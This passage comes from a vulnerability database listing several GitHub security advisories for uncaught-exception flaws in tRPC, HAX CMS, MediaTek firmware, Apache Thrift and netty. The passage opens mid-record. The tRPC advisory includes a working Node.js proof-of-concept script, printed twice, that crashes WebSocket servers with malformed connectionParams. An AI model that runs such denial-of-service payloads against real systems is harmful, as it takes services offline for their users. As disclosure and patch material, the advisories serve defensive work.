"url": "https://github.com/netty/netty-incubator-codec-ohttp/security/advisories/GHSA-pgrf-4654-3gq8"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty-incubator-codec-ohttp"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "netty-incubator-codec-ohttp: Binary HTTP parser unchecked varint length overflow causes decoder crash"
}
GHSA-PJ3V-9CM8-GVJ8
Vulnerability from github – Published: 2025-04-24 16:03 – Updated: 2025-04-24 16:03Summary
An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.
Details
Any tRPC 11 server with WebSocket enabled with a createContext method set is vulnerable. Here is an example:
https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05
I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction
The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33
This is called during WebSocket connection setup inside createCtxPromise() here:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435
createCtxPromise has handling to catch any errors and pass them up to the opts.onError handler:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173
However the error handler then rethrows the error:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171
Since this is all triggered from the WebSocket message event there is no higher level error handling so this causes an uncaught exception and crashes the server process.
This means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn't matter if the server doesn't make user of connectionParams, the connectionParams logic can be initiated by the client.
To fix this vulnerability tRPC should not rethrow the error after it's be handled. This patch fixes the vulnerability:
From 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001
From: Luke Childs <lukechilds123@gmail.com>
Date: Sun, 20 Apr 2025 13:27:10 +0700
Subject: [PATCH] Don't throw already handled error
This error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.
---
packages/server/src/adapters/ws.ts | 2 --
1 file changed, 2 deletions(-)
diff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts
index ad869affd..5a578b5cb 100644
--- a/packages/server/src/adapters/ws.ts
+++ b/packages/server/src/adapters/ws.ts
@@ -167,8 +167,6 @@ export function getWSConnectionHandler<TRouter extends AnyRouter>(
(globalThis.setImmediate ?? globalThis.setTimeout)(() => {
client.close();
});
-
- throw error;
});
}
--
2.48.1
PoC
This script will crash the target tRPC 11 server if WebSockets are enabled:
#!/usr/bin/env node
const TARGET = 'ws://localhost:3000'
// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
method: "connectionParams",
data: { invalidConnectionParams: null },
});
// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);
// Wait for the connection to be established
socket.addEventListener("open", () => {
console.log("WebSocket established!");
// Sends a message to the WebSocket server.
console.log(`Sending malicious connectionParams`);
socket.send(MALICIOUS_CONNECTION_PARAMS);
console.log(`Done!`);
});
// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));
Complete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@trpc/server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43855"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-460"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:03:57Z",
"nvd_published_at": "2025-04-24T14:15:59Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.\n\n### Details\nAny tRPC 11 server with WebSocket enabled with a `createContext` method set is vulnerable. Here is an example:\n\nhttps://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05\n\nI have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction\n\nThe connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33\n\nThis is called during WebSocket connection setup inside `createCtxPromise()` here:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435\n\n`createCtxPromise` has handling to catch any errors and pass them up to the `opts.onError` handler:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173\n\nHowever the error handler then rethrows the error:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171\n\nSince this is all triggered from the WebSocket `message` event there is no higher level error handling so this causes an uncaught exception and crashes the server process.\n\nThis means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn\u0027t matter if the server doesn\u0027t make user of connectionParams, the connectionParams logic can be initiated by the client.\n\nTo fix this vulnerability tRPC should not rethrow the error after it\u0027s be handled. This patch fixes the vulnerability:\n\n```patch\nFrom 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001\nFrom: Luke Childs \u003clukechilds123@gmail.com\u003e\nDate: Sun, 20 Apr 2025 13:27:10 +0700\nSubject: [PATCH] Don\u0027t throw already handled error\n\nThis error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.\n---\n packages/server/src/adapters/ws.ts | 2 --\n 1 file changed, 2 deletions(-)\n\ndiff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts\nindex ad869affd..5a578b5cb 100644\n--- a/packages/server/src/adapters/ws.ts\n+++ b/packages/server/src/adapters/ws.ts\n@@ -167,8 +167,6 @@ export function getWSConnectionHandler\u003cTRouter extends AnyRouter\u003e(\n (globalThis.setImmediate ?? globalThis.setTimeout)(() =\u003e {\n client.close();\n });\n-\n- throw error;\n });\n }\n\n--\n2.48.1\n\n```\n\n## PoC\n\nThis script will crash the target tRPC 11 server if WebSockets are enabled:\n\n```js\n#!/usr/bin/env node\n\nconst TARGET = \u0027ws://localhost:3000\u0027\n\n// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation\nconst MALICIOUS_CONNECTION_PARAMS = JSON.stringify({\n method: \"connectionParams\",\n data: { invalidConnectionParams: null },\n});\n\n// Open a connection to the target\nconst target = `${TARGET}?connectionParams=1`;\nconsole.log(`Opening a WebSocket to ${target}`);\nconst socket = new WebSocket(target);\n\n// Wait for the connection to be established\nsocket.addEventListener(\"open\", () =\u003e {\n console.log(\"WebSocket established!\");\n\n // Sends a message to the WebSocket server.\n console.log(`Sending malicious connectionParams`);\n socket.send(MALICIOUS_CONNECTION_PARAMS);\n console.log(`Done!`);\n});\n\n// Handle errors\nsocket.addEventListener(\"error\", () =\u003e console.log(\"Error opening WebSocket\"));\n```\n\nComplete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction",
"id": "GHSA-pj3v-9cm8-gvj8",
"modified": "2025-04-24T16:03:58Z",
"published": "2025-04-24T16:03:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/security/advisories/GHSA-pj3v-9cm8-gvj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43855"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/pull/5839"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/commit/9beb26c636d44852e0f407f3d7a82ad54df65b4d"
},
{
"type": "PACKAGE",
"url": "https://github.com/trpc/trpc"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "tRPC 11 WebSocket DoS Vulnerability"
}
GHSA-PJ6J-M62J-7V7V
Vulnerability from github – Published: 2023-03-07 21:30 – Updated: 2023-03-13 06:30In thermal, there is a possible memory corruption due to an uncaught exception. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07494460; Issue ID: ALPS07494460.
{
"affected": [],
"aliases": [
"CVE-2023-20628"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T21:15:00Z",
"severity": "MODERATE"
},
"details": "In thermal, there is a possible memory corruption due to an uncaught exception. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07494460; Issue ID: ALPS07494460.",
"id": "GHSA-pj6j-m62j-7v7v",
"modified": "2023-03-13T06:30:25Z",
"published": "2023-03-07T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20628"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/March-2023"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PJJ3-J5J6-QJ27
Vulnerability from github – Published: 2025-07-21 19:52 – Updated: 2025-07-21 22:21Summary
The HAX CMS NodeJS application crashes when an authenticated attacker provides an API request lacking required URL parameters. This vulnerability affects the listFiles and saveFiles endpoints.
Details
This vulnerability exists because the application does not properly handle exceptions which occur as a result of changes to user-modifiable URL parameters.
Affected Resources
• listFiles.js:22 listFiles() • saveFile.js:52 saveFile() • system/api/listFiles • system/api/saveFile
PoC
-
Targeting an instance of instance of HAX CMS NodeJS, send a request without parameters to
listFilesorsaveFiles. The following screenshot shows the request in Burp Suite. -
The server will crash with
ERR_INVALID_ARG_TYPE.
Impact
An authenticated attacker can deny access to the HAX CMS NodeJS application by crashing the backend server. This prevents all users from accessing the backend system. If the backend system is hosting websites, those websites will be unavailable.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54134"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-21T19:52:53Z",
"nvd_published_at": "2025-07-21T21:15:26Z",
"severity": "HIGH"
},
"details": "### Summary\nThe HAX CMS NodeJS application crashes when an authenticated attacker provides an API request lacking required URL parameters. This vulnerability affects the `listFiles` and `saveFiles` endpoints.\n\n### Details\nThis vulnerability exists because the application does not properly handle exceptions which occur as a result of changes to user-modifiable URL parameters.\n\n#### Affected Resources\n\u2022 [listFiles.js:22](https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/listFiles.js#L22) listFiles()\n\u2022 [saveFile.js:52](https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/saveFile.js#L52) saveFile()\n\u2022 system/api/listFiles\n\u2022 system/api/saveFile\n\n### PoC\n1. Targeting an instance of instance of [HAX CMS NodeJS](https://github.com/haxtheweb/haxcms-nodejs), send a request without parameters to `listFiles` or `saveFiles`. The following screenshot shows the request in Burp Suite.\n\n\n2. The server will crash with `ERR_INVALID_ARG_TYPE`.\n\n\n### Impact\nAn authenticated attacker can deny access to the HAX CMS NodeJS application by crashing the backend server. This prevents all users from accessing the backend system. If the backend system is hosting websites, those websites will be unavailable.",
"id": "GHSA-pjj3-j5j6-qj27",
"modified": "2025-07-21T22:21:29Z",
"published": "2025-07-21T19:52:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-pjj3-j5j6-qj27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54134"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/commit/e9773d1996233f9bafb06832b8220ec2a98bab34"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/haxcms-nodejs"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/listFiles.js#L22"
},
{
"type": "WEB",
"url": "https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/saveFile.js#L52"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HAX CMS NodeJS Application Has Improper Error Handling That Leads to Denial of Service"
}
GHSA-PJXR-77CV-5RJ7
Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31Uncaught exception, Improper validation of specified quantity in input, Improperly controlled modification of object prototype attributes ('prototype pollution') vulnerability in Apache Thrift nodejs bindings.
This issue affects Apache Thrift: before 0.25.0.
Users are recommended to upgrade to version 0.25.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-94646"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T12:17:23Z",
"severity": "HIGH"
},
"details": "Uncaught exception, Improper validation of specified quantity in input, Improperly controlled modification of object prototype attributes (\u0027prototype pollution\u0027) vulnerability in Apache Thrift nodejs bindings.\n\n\n\nThis issue affects Apache Thrift: before 0.25.0.\n\n\n\nUsers are recommended to upgrade to version 0.25.0, which fixes the issue.",
"id": "GHSA-pjxr-77cv-5rj7",
"modified": "2026-10-02T12:31:18Z",
"published": "2026-10-02T12:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94646"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/33otcgbqd27wf6qq810q56znzbomnhg1"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/5hjh0gz8wf6bo7ydxjpqj92m42hwmfo8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.